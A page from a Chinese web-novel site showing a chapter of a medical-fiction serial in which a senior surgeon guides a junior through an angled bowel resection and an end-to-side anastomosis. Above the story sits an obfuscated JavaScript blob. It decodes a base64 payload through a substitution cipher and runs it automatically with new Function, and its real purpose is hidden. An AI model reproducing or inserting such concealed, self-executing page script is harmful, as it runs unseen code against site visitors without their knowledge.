当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一页
目录 | 设置
下一章

第877章 缝缝补补的游戏(为盟主爱老婆会发达1)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

老马忍不住摇头:“看到没?斜着切下去的时候,能增加回肠断端的端口径,一会儿缝合的时候,选择机会更大一点!”

此话一出,陈沧顿时恍然大悟起来。

接下来同样的操作完成了另外一端。

得亏肠道长度足够,弯弯曲曲的,这一差不多展开一米多长的肠管切下来之后,吻合难度还是不大。

“3-0号铬制肠线!”

老马拿过持针钳看了一眼陈沧:“会吗?”

陈沧点头:“嗯,会一点。”

老马很放心:“来,你来试试,我指点你。”

陈沧点头,他的肠道吻合是大师级,虽然不是那么优秀,但是也拿得出手。

老马看着陈沧:“知道流程吧?”

陈沧点头:“嗯。”

老马看见陈沧点头,干脆说道:“那你小心点,不用着急。”

这不能怪老马,因为这种肠道吻合和普通的破开了吻合不一样。

整个流程比较繁琐。

首先需要吻合后壁做全层连续缝合,难度不小。

接下来再用肠线在吻合口前壁做全层连续内翻缝合!

之后还要用细不吸收线在吻合口的前后壁各做一排浆肌层间断缝合。

吻合完毕后,用细不吸收线将回肠和横结肠系膜做间断缝合。

整个过程,每一个过程难度都不小,而且因为比较繁琐,一层一层的操作,十分考验术者对胃肠道手术的基本功。

老马让陈沧来做,既有几分考量,又有几分培养。

陈沧深吸一口气,他还是第一次做这样的吻合,因为两端肠管根本不一样,口径都不一样,难度系数难免会大了不少。

但是当陈沧把两端拉过来的时候,忽然愣了一下!

这章没有结束,请点击下一页继续阅读!因为他发现,这倾斜口径的和一端和另外一端更好契合!

顿时陈沧恍然大悟!

怪不得要斜着切。

老马看了一眼陈沧,笑了笑:“知道为啥了吗?”

陈沧点头!

“横结肠和回肠的断端口径不一样,这样缝合对于肠道的吻合更好!”

老马忍不住笑着说道:“对喽!”

“我给这个叫端-侧吻合术!独家秘笈,传内不传外,要不要考虑叫一声干爹?我还有很多绝活呢!”

陈沧翻了个白眼,无视了这个铁憨憨,快速开始了手里的工作。

陈沧这么一开始,老马就愣住了,这小子……不对劲儿啊?

难道是……扮猪吃老虎?

的确!

不仅是老马,就连周鹤也愣住了,这是一个不会肠道吻合的人?

只见缝合针在陈沧的手里如同有了灵魂一样,所谓一法通百法通,陈沧的肌腱缝合是完美,血管吻合完美!

陈沧的肠道吻合当初就有大师,在这两种的感悟加持下,也多了几分理解。

医学,终究是一种相通的学科,不是孤立存在的。

陈沧缝合的时候很有感觉,他觉得,他的缝合功力可以跨界了!

等今天晚上拿昨晚撕掉的秦小舔的丝袜试试手,说不定能还原丝袜该有的样子!

想到这里,陈沧忽然觉得外科医生也不是那么无聊了……

缝缝补补,其实也挺有趣的?

喜欢当医生开了外挂请大家收藏:当医生开了外挂本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间